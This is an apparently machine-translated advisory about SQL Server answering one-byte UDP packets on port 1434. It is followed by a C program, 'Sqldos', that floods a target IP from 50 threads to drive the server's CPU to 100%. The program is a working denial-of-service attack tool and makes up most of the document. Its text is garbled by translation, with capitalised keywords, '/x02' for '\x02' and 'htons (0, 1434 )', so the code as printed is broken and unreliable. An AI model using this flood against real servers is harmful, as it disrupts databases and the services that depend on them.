Constructing special UDP data packets can aggravate the SQL Server server CPU load Vulnerability

Vulnerability description:
Because SQL Server has no limits on UDP of port 1434 and constructs a special UDP packet, SQL Server will certainly respond. If you receive a large number of these UDP packets, SQL Server will consume the CPU to handle these UDP responses. Although this cannot cause serious impact on the host, the CPU usage will easily reach 100%, as a result, the load on the database server increases and other services (such as the Web) can be rejected. At the same time, malicious attackers only need to send one byte of UDP data to SQL Server, and SQL server will send their own database server information everywhere.

Solution:
No

Test procedure:

// Sqldos. cpp
//

//////////////////////////////////////// ////////////////////
//
// Sqldos by refdom
//
// Author: refdom.
// Email: refdom@263.net
//
//////////////////////////////////////// ////////////////////

# Include "stdafx. H"
# Include <string. h>
# Include <stdio. h>

Void sendudp (void * V)
{
Int I;
Char Buf [1] = {'/x02 '};
Sockaddr_in addr_in;
Char * targetip;
Targetip = (char *) V;

Socket sock;

If (sock = socket (af_inet, sock_dgram, ipproto_udp) = invalid_socket)
{
Printf ("socket failed. Error: % d/N", wsagetlasterror ());
Return;
}

Const int sndbuf = 0;
Const int tcpnodelay = true;
Const int broadcast = true;

If (setsockopt (sock, sol_socket, so_sndbuf, (const char *) & sndbuf, sizeof (sndbuf) = socket_error)
{
Printf ("set so_sndbuf failed. Error: % d", wsagetlasterror ());
Return;
}
If (setsockopt (sock, sol_socket, tcp_nodelay, (const char *) & tcpnodelay, sizeof (tcpnodelay) = socket_error)
{
Printf ("set tcp_nodelay failed. Error: % d", wsagetlasterror ());
Return;
}
If (setsockopt (sock, sol_socket, so_broadcast, (const char *) & Broadcast, sizeof (broadcast) = socket_error)
{
Printf ("set so_broadcast failed. Error: % d", wsagetlasterror ());
Return;
}

Addr_in.sin_family = af_inet;
Addr_in.sin_port = htons (0, 1434 );
Addr_in.sin_addr.s_un.s_addr = inet_addr (targetip );

For (I = 1; I <50000; I ++)
// Send 50000 requests
{
If (sendto (sock, Buf, sizeof (BUF), 0, (sockaddr *) & addr_in, sizeof (addr_in) = socket_error)
{
Printf ("Send failed. Error: % d/N", wsagetlasterror ());
Return;
}
}
Closesocket (sock );
}

Void useage ()
{
Printf ("************************************* */N ");
Printf ("sqldos/N ");
Printf ("/T written by refdom/N ");
Printf ("/T Email: refdom@263.net/N ");
Printf ("useage: sqldos.exe target_ip/N ");
Printf ("************************************* * *****/N ");
}

Int main (INT argc, char * argv [])
{
Wsadata;
Int I;
Useage ();
If (argc <2)
{
Return false;
}

If (wsastartup (makeword (2, 0), & wsadata )! = 0)
{
Printf ("wsastartup error. Error: % d/N", wsagetlasterror ());
Return false;
}
Printf ("sqldos start ...");

For (I = 1; I <= 50; I ++)
{
_ Beginthread (sendudp, 0, (void *) argv [1]);
}

Sleep (500000 );
Wsacleanup ();
Printf ("sqldos complete./N ");
Return 0;
}